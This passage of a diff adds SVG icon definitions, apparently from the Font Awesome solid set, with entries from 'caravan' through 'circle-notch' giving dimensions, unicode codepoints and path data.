16-16v-80c0-53.02-42.98-96-96-96zM160 432c-26.47 0-48-21.53-48-48s21.53-48 48-48 48 21.53 48 48-21.53 48-48 48zm72-240H116.93l38.4-96H232v96zm48 0V96h89.24l76.8 96H280zm200 240c-26.47 0-48-21.53-48-48s21.53-48 48-48 48 21.53 48 48-21.53 48-48 48z" ], + caravan: [ 640, 512, [], "f8ff", "M416,208a16,16,0,1,0,16,16A16,16,0,0,0,416,208ZM624,320H576V160A160,160,0,0,0,416,0H64A64,64,0,0,0,0,64V320a64,64,0,0,0,64,64H96a96,96,0,0,0,192,0H624a16,16,0,0,0,16-16V336A16,16,0,0,0,624,320ZM192,432a48,48,0,1,1,48-48A48.05,48.05,0,0,1,192,432Zm64-240a32,32,0,0,1-32,32H96a32,32,0,0,1-32-32V128A32,32,0,0,1,96,96H224a32,32,0,0,1,32,32ZM448,320H320V128a32,32,0,0,1,32-32h64a32,32,0,0,1,32,32Z" ], + "caret-down": [ 320, 512, [], "f0d7", "M31.3 192h257.3c17.8 0 26.7 21.5 14.1 34.1L174.1 354.8c-7.8 7.8-20.5 7.8-28.3 0L17.2 226.1C4.6 213.5 13.5 192 31.3 192z" ], + "caret-left": [ 192, 512, [], "f0d9", "M192 127.338v257.324c0 17.818-21.543 26.741-34.142 14.142L29.196 270.142c-7.81-7.81-7.81-20.474 0-28.284l128.662-128.662c12.599-12.6 34.142-3.676 34.142 14.142z" ], + "caret-right": [ 192, 512, [], "f0da", "M0 384.662V127.338c0-17.818 21.543-26.741 34.142-14.142l128.662 128.662c7.81 7.81 7.81 20.474 0 28.284L34.142 398.804C21.543 411.404 0 402.48 0 384.662z" ], + "caret-square-down": [ 448, 512, [], "f150", "M448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zM92.5 220.5l123 123c4.7 4.7 12.3 4.7 17 0l123-123c7.6-7.6 2.2-20.5-8.5-20.5H101c-10.7 0-16.1 12.9-8.5 20.5z" ], + "caret-square-left": [ 448, 512, [], "f191", "M400 480H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48v352c0 26.51-21.49 48-48 48zM259.515 124.485l-123.03 123.03c-4.686 4.686-4.686 12.284 0 16.971l123.029 123.029c7.56 7.56 20.485 2.206 20.485-8.485V132.971c.001-10.691-12.925-16.045-20.484-8.486z" ], + "caret-square-right": [ 448, 512, [], "f152", "M48 32h352c26.51 0 48 21.49 48 48v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48zm140.485 355.515l123.029-123.029c4.686-4.686 4.686-12.284 0-16.971l-123.029-123.03c-7.56-7.56-20.485-2.206-20.485 8.485v246.059c0 10.691 12.926 16.045 20.485 8.486z" ], + "caret-square-up": [ 448, 512, [], "f151", "M0 432V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48zm355.515-140.485l-123.03-123.03c-4.686-4.686-12.284-4.686-16.971 0L92.485 291.515c-7.56 7.56-2.206 20.485 8.485 20.485h246.059c10.691 0 16.045-12.926 8.486-20.485z" ], + "caret-up": [ 320, 512, [], "f0d8", "M288.662 352H31.338c-17.818 0-26.741-21.543-14.142-34.142l128.662-128.662c7.81-7.81 20.474-7.81 28.284 0l128.662 128.662c12.6 12.599 3.676 34.142-14.142 34.142z" ], + carrot: [ 512, 512, [], "f787", "M298.2 156.6c-52.7-25.7-114.5-10.5-150.2 32.8l55.2 55.2c6.3 6.3 6.3 16.4 0 22.6-3.1 3.1-7.2 4.7-11.3 4.7s-8.2-1.6-11.3-4.7L130.4 217 2.3 479.7c-2.9 6-3.1 13.3 0 19.7 5.4 11.1 18.9 15.7 30 10.3l133.6-65.2-49.2-49.2c-6.3-6.2-6.3-16.4 0-22.6 6.3-6.2 16.4-6.2 22.6 0l57 57 102-49.8c24-11.7 44.5-31.3 57.1-57.1 30.1-61.7 4.5-136.1-57.2-166.2zm92.1-34.9C409.8 81 399.7 32.9 360 0c-50.3 41.7-52.5 107.5-7.9 151.9l8 8c44.4 44.6 110.3 42.4 151.9-7.9-32.9-39.7-81-49.8-121.7-30.3z" ], + "cart-arrow-down": [ 576, 512, [], "f218", "M504.717 320H211.572l6.545 32h268.418c15.401 0 26.816 14.301 23.403 29.319l-5.517 24.276C523.112 414.668 536 433.828 536 456c0 31.202-25.519 56.444-56.824 55.994-29.823-.429-54.35-24.631-55.155-54.447-.44-16.287 6.085-31.049 16.803-41.548H231.176C241.553 426.165 248 440.326 248 456c0 31.813-26.528 57.431-58.67 55.938-28.54-1.325-51.751-24.385-53.251-52.917-1.158-22.034 10.436-41.455 28.051-51.586L93.883 64H24C10.745 64 0 53.255 0 40V24C0 10.745 10.745 0 24 0h102.529c11.401 0 21.228 8.021 23.513 19.19L159.208 64H551.99c15.401 0 26.816 14.301 23.403 29.319l-47.273 208C525.637 312.246 515.923 320 504.717 320zM403.029 192H360v-60c0-6.627-5.373-12-12-12h-24c-6.627 0-12 5.373-12 12v60h-43.029c-10.691 0-16.045 12.926-8.485 20.485l67.029 67.029c4.686 4.686 12.284 4.686 16.971 0l67.029-67.029c7.559-7.559 2.205-20.485-8.486-20.485z" ], + "cart-plus": [ 576, 512, [], "f217", "M504.717 320H211.572l6.545 32h268.418c15.401 0 26.816 14.301 23.403 29.319l-5.517 24.276C523.112 414.668 536 433.828 536 456c0 31.202-25.519 56.444-56.824 55.994-29.823-.429-54.35-24.631-55.155-54.447-.44-16.287 6.085-31.049 16.803-41.548H231.176C241.553 426.165 248 440.326 248 456c0 31.813-26.528 57.431-58.67 55.938-28.54-1.325-51.751-24.385-53.251-52.917-1.158-22.034 10.436-41.455 28.051-51.586L93.883 64H24C10.745 64 0 53.255 0 40V24C0 10.745 10.745 0 24 0h102.529c11.401 0 21.228 8.021 23.513 19.19L159.208 64H551.99c15.401 0 26.816 14.301 23.403 29.319l-47.273 208C525.637 312.246 515.923 320 504.717 320zM408 168h-48v-40c0-8.837-7.163-16-16-16h-16c-8.837 0-16 7.163-16 16v40h-48c-8.837 0-16 7.163-16 16v16c0 8.837 7.163 16 16 16h48v40c0 8.837 7.163 16 16 16h16c8.837 0 16-7.163 16-16v-40h48c8.837 0 16-7.163 16-16v-16c0-8.837-7.163-16-16-16z" ], + "cash-register": [ 512, 512, [], "f788", "M511.1 378.8l-26.7-160c-2.6-15.4-15.9-26.7-31.6-26.7H208v-64h96c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16H48c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16h96v64H59.1c-15.6 0-29 11.3-31.6 26.7L.8 378.7c-.6 3.5-.9 7-.9 10.5V480c0 17.7 14.3 32 32 32h448c17.7 0 32-14.3 32-32v-90.7c.1-3.5-.2-7-.8-10.5zM280 248c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16zm-32 64h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16zm-32-80c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16h16zM80 80V48h192v32H80zm40 200h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16zm16 64v-16c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16zm216 112c0 4.4-3.6 8-8 8H168c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h176c4.4 0 8 3.6 8 8v16zm24-112c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16zm48-80c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16z" ], + cat: [ 512, 512, [], "f6be", "M290.59 192c-20.18 0-106.82 1.98-162.59 85.95V192c0-52.94-43.06-96-96-96-17.67 0-32 14.33-32 32s14.33 32 32 32c17.64 0 32 14.36 32 32v256c0 35.3 28.7 64 64 64h176c8.84 0 16-7.16 16-16v-16c0-17.67-14.33-32-32-32h-32l128-96v144c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16V289.86c-10.29 2.67-20.89 4.54-32 4.54-61.81 0-113.52-44.05-125.41-102.4zM448 96h-64l-64-64v134.4c0 53.02 42.98 96 96 96s96-42.98 96-96V32l-64 64zm-72 80c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16zm80 0c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16z" ], + certificate: [ 512, 512, [], "f0a3", "M458.622 255.92l45.985-45.005c13.708-12.977 7.316-36.039-10.664-40.339l-62.65-15.99 17.661-62.015c4.991-17.838-11.829-34.663-29.661-29.671l-61.994 17.667-15.984-62.671C337.085.197 313.765-6.276 300.99 7.228L256 53.57 211.011 7.229c-12.63-13.351-36.047-7.234-40.325 10.668l-15.984 62.671-61.995-17.667C74.87 57.907 58.056 74.738 63.046 92.572l17.661 62.015-62.65 15.99C.069 174.878-6.31 197.944 7.392 210.915l45.985 45.005-45.985 45.004c-13.708 12.977-7.316 36.039 10.664 40.339l62.65 15.99-17.661 62.015c-4.991 17.838 11.829 34.663 29.661 29.671l61.994-17.667 15.984 62.671c4.439 18.575 27.696 24.018 40.325 10.668L256 458.61l44.989 46.001c12.5 13.488 35.987 7.486 40.325-10.668l15.984-62.671 61.994 17.667c17.836 4.994 34.651-11.837 29.661-29.671l-17.661-62.015 62.65-15.99c17.987-4.302 24.366-27.367 10.664-40.339l-45.984-45.004z" ], + chair: [ 448, 512, [], "f6c0", "M112 128c0-29.5 16.2-55 40-68.9V256h48V48h48v208h48V59.1c23.8 13.9 40 39.4 40 68.9v128h48V128C384 57.3 326.7 0 256 0h-64C121.3 0 64 57.3 64 128v128h48zm334.3 213.9l-10.7-32c-4.4-13.1-16.6-21.9-30.4-21.9H42.7c-13.8 0-26 8.8-30.4 21.9l-10.7 32C-5.2 362.6 10.2 384 32 384v112c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V384h256v112c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V384c21.8 0 37.2-21.4 30.3-42.1z" ], + chalkboard: [ 640, 512, [], "f51b", "M96 64h448v352h64V40c0-22.06-17.94-40-40-40H72C49.94 0 32 17.94 32 40v376h64V64zm528 384H480v-64H288v64H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h608c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z" ], + "chalkboard-teacher": [ 640, 512, [], "f51c", "M208 352c-2.39 0-4.78.35-7.06 1.09C187.98 357.3 174.35 360 160 360c-14.35 0-27.98-2.7-40.95-6.91-2.28-.74-4.66-1.09-7.05-1.09C49.94 352-.33 402.48 0 464.62.14 490.88 21.73 512 48 512h224c26.27 0 47.86-21.12 48-47.38.33-62.14-49.94-112.62-112-112.62zm-48-32c53.02 0 96-42.98 96-96s-42.98-96-96-96-96 42.98-96 96 42.98 96 96 96zM592 0H208c-26.47 0-48 22.25-48 49.59V96c23.42 0 45.1 6.78 64 17.8V64h352v288h-64v-64H384v64h-76.24c19.1 16.69 33.12 38.73 39.69 64H592c26.47 0 48-22.25 48-49.59V49.59C640 22.25 618.47 0 592 0z" ], + "charging-station": [ 576, 512, [], "f5e7", "M336 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h320c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm208-320V80c0-8.84-7.16-16-16-16s-16 7.16-16 16v48h-32V80c0-8.84-7.16-16-16-16s-16 7.16-16 16v48h-16c-8.84 0-16 7.16-16 16v32c0 35.76 23.62 65.69 56 75.93v118.49c0 13.95-9.5 26.92-23.26 29.19C431.22 402.5 416 388.99 416 372v-28c0-48.6-39.4-88-88-88h-8V64c0-35.35-28.65-64-64-64H96C60.65 0 32 28.65 32 64v352h288V304h8c22.09 0 40 17.91 40 40v24.61c0 39.67 28.92 75.16 68.41 79.01C481.71 452.05 520 416.41 520 372V251.93c32.38-10.24 56-40.17 56-75.93v-32c0-8.84-7.16-16-16-16h-16zm-283.91 47.76l-93.7 139c-2.2 3.33-6.21 5.24-10.39 5.24-7.67 0-13.47-6.28-11.67-12.92L167.35 224H108c-7.25 0-12.85-5.59-11.89-11.89l16-107C112.9 99.9 117.98 96 124 96h68c7.88 0 13.62 6.54 11.6 13.21L192 160h57.7c9.24 0 15.01 8.78 10.39 15.76z" ], + "chart-area": [ 512, 512, [], "f1fe", "M500 384c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H12c-6.6 0-12-5.4-12-12V76c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v308h436zM372.7 159.5L288 216l-85.3-113.7c-5.1-6.8-15.5-6.3-19.9 1L96 248v104h384l-89.9-187.8c-3.2-6.5-11.4-8.7-17.4-4.7z" ], + "chart-bar": [ 512, 512, [], "f080", "M332.8 320h38.4c6.4 0 12.8-6.4 12.8-12.8V172.8c0-6.4-6.4-12.8-12.8-12.8h-38.4c-6.4 0-12.8 6.4-12.8 12.8v134.4c0 6.4 6.4 12.8 12.8 12.8zm96 0h38.4c6.4 0 12.8-6.4 12.8-12.8V76.8c0-6.4-6.4-12.8-12.8-12.8h-38.4c-6.4 0-12.8 6.4-12.8 12.8v230.4c0 6.4 6.4 12.8 12.8 12.8zm-288 0h38.4c6.4 0 12.8-6.4 12.8-12.8v-70.4c0-6.4-6.4-12.8-12.8-12.8h-38.4c-6.4 0-12.8 6.4-12.8 12.8v70.4c0 6.4 6.4 12.8 12.8 12.8zm96 0h38.4c6.4 0 12.8-6.4 12.8-12.8V108.8c0-6.4-6.4-12.8-12.8-12.8h-38.4c-6.4 0-12.8 6.4-12.8 12.8v198.4c0 6.4 6.4 12.8 12.8 12.8zM496 384H64V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v336c0 17.67 14.33 32 32 32h464c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z" ], + "chart-line": [ 512, 512, [], "f201", "M496 384H64V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v336c0 17.67 14.33 32 32 32h464c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM464 96H345.94c-21.38 0-32.09 25.85-16.97 40.97l32.4 32.4L288 242.75l-73.37-73.37c-12.5-12.5-32.76-12.5-45.25 0l-68.69 68.69c-6.25 6.25-6.25 16.38 0 22.63l22.62 22.62c6.25 6.25 16.38 6.25 22.63 0L192 237.25l73.37 73.37c12.5 12.5 32.76 12.5 45.25 0l96-96 32.4 32.4c15.12 15.12 40.97 4.41 40.97-16.97V112c.01-8.84-7.15-16-15.99-16z" ], + "chart-pie": [ 544, 512, [], "f200", "M527.79 288H290.5l158.03 158.03c6.04 6.04 15.98 6.53 22.19.68 38.7-36.46 65.32-85.61 73.13-140.86 1.34-9.46-6.51-17.85-16.06-17.85zm-15.83-64.8C503.72 103.74 408.26 8.28 288.8.04 279.68-.59 272 7.1 272 16.24V240h223.77c9.14 0 16.82-7.68 16.19-16.8zM224 288V50.71c0-9.55-8.39-17.4-17.84-16.06C86.99 51.49-4.1 155.6.14 280.37 4.5 408.51 114.83 513.59 243.03 511.98c50.4-.63 96.97-16.87 135.26-44.03 7.9-5.6 8.42-17.23 1.57-24.08L224 288z" ], + check: [ 512, 512, [], "f00c", "M173.898 439.404l-166.4-166.4c-9.997-9.997-9.997-26.206 0-36.204l36.203-36.204c9.997-9.998 26.207-9.998 36.204 0L192 312.69 432.095 72.596c9.997-9.997 26.207-9.997 36.204 0l36.203 36.204c9.997 9.997 9.997 26.206 0 36.204l-294.4 294.401c-9.998 9.997-26.207 9.997-36.204-.001z" ], + "check-circle": [ 512, 512, [], "f058", "M504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zM227.314 387.314l184-184c6.248-6.248 6.248-16.379 0-22.627l-22.627-22.627c-6.248-6.249-16.379-6.249-22.628 0L216 308.118l-70.059-70.059c-6.248-6.248-16.379-6.248-22.628 0l-22.627 22.627c-6.248 6.248-6.248 16.379 0 22.627l104 104c6.249 6.249 16.379 6.249 22.628.001z" ], + "check-double": [ 512, 512, [], "f560", "M505 174.8l-39.6-39.6c-9.4-9.4-24.6-9.4-33.9 0L192 374.7 80.6 263.2c-9.4-9.4-24.6-9.4-33.9 0L7 302.9c-9.4 9.4-9.4 24.6 0 34L175 505c9.4 9.4 24.6 9.4 33.9 0l296-296.2c9.4-9.5 9.4-24.7.1-34zm-324.3 106c6.2 6.3 16.4 6.3 22.6 0l208-208.2c6.2-6.3 6.2-16.4 0-22.6L366.1 4.7c-6.2-6.3-16.4-6.3-22.6 0L192 156.2l-55.4-55.5c-6.2-6.3-16.4-6.3-22.6 0L68.7 146c-6.2 6.3-6.2 16.4 0 22.6l112 112.2z" ], + "check-square": [ 448, 512, [], "f14a", "M400 480H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48v352c0 26.51-21.49 48-48 48zm-204.686-98.059l184-184c6.248-6.248 6.248-16.379 0-22.627l-22.627-22.627c-6.248-6.248-16.379-6.249-22.628 0L184 302.745l-70.059-70.059c-6.248-6.248-16.379-6.248-22.628 0l-22.627 22.627c-6.248 6.248-6.248 16.379 0 22.627l104 104c6.249 6.25 16.379 6.25 22.628.001z" ], + cheese: [ 512, 512, [], "f7ef", "M0 288v160a32 32 0 0 0 32 32h448a32 32 0 0 0 32-32V288zM299.83 32a32 32 0 0 0-21.13 7L0 256h512c0-119.89-94-217.8-212.17-224z" ], + chess: [ 512, 512, [], "f439", "M74 208H64a16 16 0 0 0-16 16v16a16 16 0 0 0 16 16h15.94A535.78 535.78 0 0 1 64 384h128a535.78 535.78 0 0 1-15.94-128H192a16 16 0 0 0 16-16v-16a16 16 0 0 0-16-16h-10l33.89-90.38a16 16 0 0 0-15-21.62H144V64h24a8 8 0 0 0 8-8V40a8 8 0 0 0-8-8h-24V8a8 8 0 0 0-8-8h-16a8 8 0 0 0-8 8v24H88a8 8 0 0 0-8 8v16a8 8 0 0 0 8 8h24v32H55.09a16 16 0 0 0-15 21.62zm173.16 251.58L224 448v-16a16 16 0 0 0-16-16H48a16 16 0 0 0-16 16v16L8.85 459.58A16 16 0 0 0 0 473.89V496a16 16 0 0 0 16 16h224a16 16 0 0 0 16-16v-22.11a16 16 0 0 0-8.84-14.31zm92.77-157.78l-3.29 82.2h126.72l-3.29-82.21 24.6-20.79A32 32 0 0 0 496 256.54V198a6 6 0 0 0-6-6h-26.38a6 6 0 0 0-6 6v26h-24.71v-26a6 6 0 0 0-6-6H373.1a6 6 0 0 0-6 6v26h-24.71v-26a6 6 0 0 0-6-6H310a6 6 0 0 0-6 6v58.6a32 32 0 0 0 11.36 24.4zM384 304a16 16 0 0 1 32 0v32h-32zm119.16 155.58L480 448v-16a16 16 0 0 0-16-16H336a16 16 0 0 0-16 16v16l-23.15 11.58a16 16 0 0 0-8.85 14.31V496a16 16 0 0 0 16 16h192a16 16 0 0 0 16-16v-22.11a16 16 0 0 0-8.84-14.31z" ], + "chess-bishop": [ 320, 512, [], "f43a", "M8 287.88c0 51.64 22.14 73.83 56 84.6V416h192v-43.52c33.86-10.77 56-33 56-84.6 0-30.61-10.73-67.1-26.69-102.56L185 285.65a8 8 0 0 1-11.31 0l-11.31-11.31a8 8 0 0 1 0-11.31L270.27 155.1c-20.8-37.91-46.47-72.1-70.87-92.59C213.4 59.09 224 47.05 224 32a32 32 0 0 0-32-32h-64a32 32 0 0 0-32 32c0 15 10.6 27.09 24.6 30.51C67.81 106.8 8 214.5 8 287.88zM304 448H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h288a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z" ], + "chess-board": [ 512, 512, [], "f43c", "M255.9.2h-64v64h64zM0 64.17v64h64v-64zM128 .2H64v64h64zm64 255.9v64h64v-64zM0 192.12v64h64v-64zM383.85.2h-64v64h64zm128 0h-64v64h64zM128 256.1H64v64h64zM511.8 448v-64h-64v64zm0-128v-64h-64v64zM383.85 512h64v-64h-64zm128-319.88v-64h-64v64zM128 512h64v-64h-64zM0 512h64v-64H0zm255.9 0h64v-64h-64zM0 320.07v64h64v-64zm319.88-191.92v-64h-64v64zm-64 128h64v-64h-64zm-64 128v64h64v-64zm128-64h64v-64h-64zm0-127.95h64v-64h-64zm0 191.93v64h64v-64zM64 384.05v64h64v-64zm128-255.9v-64h-64v64zm191.92 255.9h64v-64h-64zm-128-191.93v-64h-64v64zm128-127.95v64h64v-64zm-128 255.9v64h64v-64zm-64-127.95H128v64h64zm191.92 64h64v-64h-64zM128 128.15H64v64h64zm0 191.92v64h64v-64z" ], + "chess-king": [ 448, 512, [], "f43f", "M400 448H48a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h352a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm16-288H256v-48h40a8 8 0 0 0 8-8V56a8 8 0 0 0-8-8h-40V8a8 8 0 0 0-8-8h-48a8 8 0 0 0-8 8v40h-40a8 8 0 0 0-8 8v48a8 8 0 0 0 8 8h40v48H32a32 32 0 0 0-30.52 41.54L74.56 416h298.88l73.08-214.46A32 32 0 0 0 416 160z" ], + "chess-knight": [ 384, 512, [], "f441", "M19 272.47l40.63 18.06a32 32 0 0 0 24.88.47l12.78-5.12a32 32 0 0 0 18.76-20.5l9.22-30.65a24 24 0 0 1 12.55-15.65L159.94 208v50.33a48 48 0 0 1-26.53 42.94l-57.22 28.65A80 80 0 0 0 32 401.48V416h319.86V224c0-106-85.92-192-191.92-192H12A12 12 0 0 0 0 44a16.9 16.9 0 0 0 1.79 7.58L16 80l-9 9a24 24 0 0 0-7 17v137.21a32 32 0 0 0 19 29.26zM52 128a20 20 0 1 1-20 20 20 20 0 0 1 20-20zm316 320H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h352a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z" ], + "chess-pawn": [ 320, 512, [], "f443", "M105.1 224H80a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h16v5.49c0 44-4.14 86.6-24 122.51h176c-19.89-35.91-24-78.51-24-122.51V288h16a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-25.1c29.39-18.38 49.1-50.78 49.1-88a104 104 0 0 0-208 0c0 37.22 19.71 69.62 49.1 88zM304 448H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h288a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z" ], + "chess-queen": [ 512, 512, [], "f445", "M256 112a56 56 0 1 0-56-56 56 56 0 0 0 56 56zm176 336H80a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h352a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm72.87-263.84l-28.51-15.92c-7.44-5-16.91-2.46-22.29 4.68a47.59 47.59 0 0 1-47.23 18.23C383.7 186.86 368 164.93 368 141.4a13.4 13.4 0 0 0-13.4-13.4h-38.77c-6 0-11.61 4-12.86 9.91a48 48 0 0 1-93.94 0c-1.25-5.92-6.82-9.91-12.86-9.91H157.4a13.4 13.4 0 0 0-13.4 13.4c0 25.69-19 48.75-44.67 50.49a47.5 47.5 0 0 1-41.54-19.15c-5.28-7.09-14.73-9.45-22.09-4.54l-28.57 16a16 16 0 0 0-5.44 20.47L104.24 416h303.52l102.55-211.37a16 16 0 0 0-5.44-20.47z" ], + "chess-rook": [ 384, 512, [], "f447", "M368 32h-56a16 16 0 0 0-16 16v48h-48V48a16 16 0 0 0-16-16h-80a16 16 0 0 0-16 16v48H88.1V48a16 16 0 0 0-16-16H16A16 16 0 0 0 0 48v176l64 32c0 48.33-1.54 95-13.21 160h282.42C321.54 351 320 303.72 320 256l64-32V48a16 16 0 0 0-16-16zM224 320h-64v-64a32 32 0 0 1 64 0zm144 128H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h352a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z" ], + "chevron-circle-down": [ 512, 512, [], "f13a", "M504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zM273 369.9l135.5-135.5c9.4-9.4 9.4-24.6 0-33.9l-17-17c-9.4-9.4-24.6-9.4-33.9 0L256 285.1 154.4 183.5c-9.4-9.4-24.6-9.4-33.9 0l-17 17c-9.4 9.4-9.4 24.6 0 33.9L239 369.9c9.4 9.4 24.6 9.4 34 0z" ], + "chevron-circle-left": [ 512, 512, [], "f137", "M256 504C119 504 8 393 8 256S119 8 256 8s248 111 248 248-111 248-248 248zM142.1 273l135.5 135.5c9.4 9.4 24.6 9.4 33.9 0l17-17c9.4-9.4 9.4-24.6 0-33.9L226.9 256l101.6-101.6c9.4-9.4 9.4-24.6 0-33.9l-17-17c-9.4-9.4-24.6-9.4-33.9 0L142.1 239c-9.4 9.4-9.4 24.6 0 34z" ], + "chevron-circle-right": [ 512, 512, [], "f138", "M256 8c137 0 248 111 248 248S393 504 256 504 8 393 8 256 119 8 256 8zm113.9 231L234.4 103.5c-9.4-9.4-24.6-9.4-33.9 0l-17 17c-9.4 9.4-9.4 24.6 0 33.9L285.1 256 183.5 357.6c-9.4 9.4-9.4 24.6 0 33.9l17 17c9.4 9.4 24.6 9.4 33.9 0L369.9 273c9.4-9.4 9.4-24.6 0-34z" ], + "chevron-circle-up": [ 512, 512, [], "f139", "M8 256C8 119 119 8 256 8s248 111 248 248-111 248-248 248S8 393 8 256zm231-113.9L103.5 277.6c-9.4 9.4-9.4 24.6 0 33.9l17 17c9.4 9.4 24.6 9.4 33.9 0L256 226.9l101.6 101.6c9.4 9.4 24.6 9.4 33.9 0l17-17c9.4-9.4 9.4-24.6 0-33.9L273 142.1c-9.4-9.4-24.6-9.4-34 0z" ], + "chevron-down": [ 448, 512, [], "f078", "M207.029 381.476L12.686 187.132c-9.373-9.373-9.373-24.569 0-33.941l22.667-22.667c9.357-9.357 24.522-9.375 33.901-.04L224 284.505l154.745-154.021c9.379-9.335 24.544-9.317 33.901.04l22.667 22.667c9.373 9.373 9.373 24.569 0 33.941L240.971 381.476c-9.373 9.372-24.569 9.372-33.942 0z" ], + "chevron-left": [ 320, 512, [], "f053", "M34.52 239.03L228.87 44.69c9.37-9.37 24.57-9.37 33.94 0l22.67 22.67c9.36 9.36 9.37 24.52.04 33.9L131.49 256l154.02 154.75c9.34 9.38 9.32 24.54-.04 33.9l-22.67 22.67c-9.37 9.37-24.57 9.37-33.94 0L34.52 272.97c-9.37-9.37-9.37-24.57 0-33.94z" ], + "chevron-right": [ 320, 512, [], "f054", "M285.476 272.971L91.132 467.314c-9.373 9.373-24.569 9.373-33.941 0l-22.667-22.667c-9.357-9.357-9.375-24.522-.04-33.901L188.505 256 34.484 101.255c-9.335-9.379-9.317-24.544.04-33.901l22.667-22.667c9.373-9.373 24.569-9.373 33.941 0L285.475 239.03c9.373 9.372 9.373 24.568.001 33.941z" ], + "chevron-up": [ 448, 512, [], "f077", "M240.971 130.524l194.343 194.343c9.373 9.373 9.373 24.569 0 33.941l-22.667 22.667c-9.357 9.357-24.522 9.375-33.901.04L224 227.495 69.255 381.516c-9.379 9.335-24.544 9.317-33.901-.04l-22.667-22.667c-9.373-9.373-9.373-24.569 0-33.941L207.03 130.525c9.372-9.373 24.568-9.373 33.941-.001z" ], + child: [ 384, 512, [], "f1ae", "M120 72c0-39.765 32.235-72 72-72s72 32.235 72 72c0 39.764-32.235 72-72 72s-72-32.236-72-72zm254.627 1.373c-12.496-12.497-32.758-12.497-45.254 0L242.745 160H141.254L54.627 73.373c-12.496-12.497-32.758-12.497-45.254 0-12.497 12.497-12.497 32.758 0 45.255L104 213.254V480c0 17.673 14.327 32 32 32h16c17.673 0 32-14.327 32-32V368h16v112c0 17.673 14.327 32 32 32h16c17.673 0 32-14.327 32-32V213.254l94.627-94.627c12.497-12.497 12.497-32.757 0-45.254z" ], + church: [ 640, 512, [], "f51d", "M464.46 246.68L352 179.2V128h48c8.84 0 16-7.16 16-16V80c0-8.84-7.16-16-16-16h-48V16c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v48h-48c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h48v51.2l-112.46 67.48A31.997 31.997 0 0 0 160 274.12V512h96v-96c0-35.35 28.65-64 64-64s64 28.65 64 64v96h96V274.12c0-11.24-5.9-21.66-15.54-27.44zM0 395.96V496c0 8.84 7.16 16 16 16h112V320L19.39 366.54A32.024 32.024 0 0 0 0 395.96zm620.61-29.42L512 320v192h112c8.84 0 16-7.16 16-16V395.96c0-12.8-7.63-24.37-19.39-29.42z" ], + circle: [ 512, 512, [], "f111", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8z" ], + "circle-notch": [ 512, 512, [], "f1ce", "M288 39.056v16.659c0 10.804 7.281 20.159 17.686 23.066C383.204 100.434 440 171.518 440 256c0 101.689-82.295 184-184 184-101.689 0-184-82.295-184-184 0-84.47 56.786-155.564 134.312-177.219C216.719 75.874 224 66.517 224 55.712V39.064c0-15.709-14.834-27.153-30.046-23.234C86.603 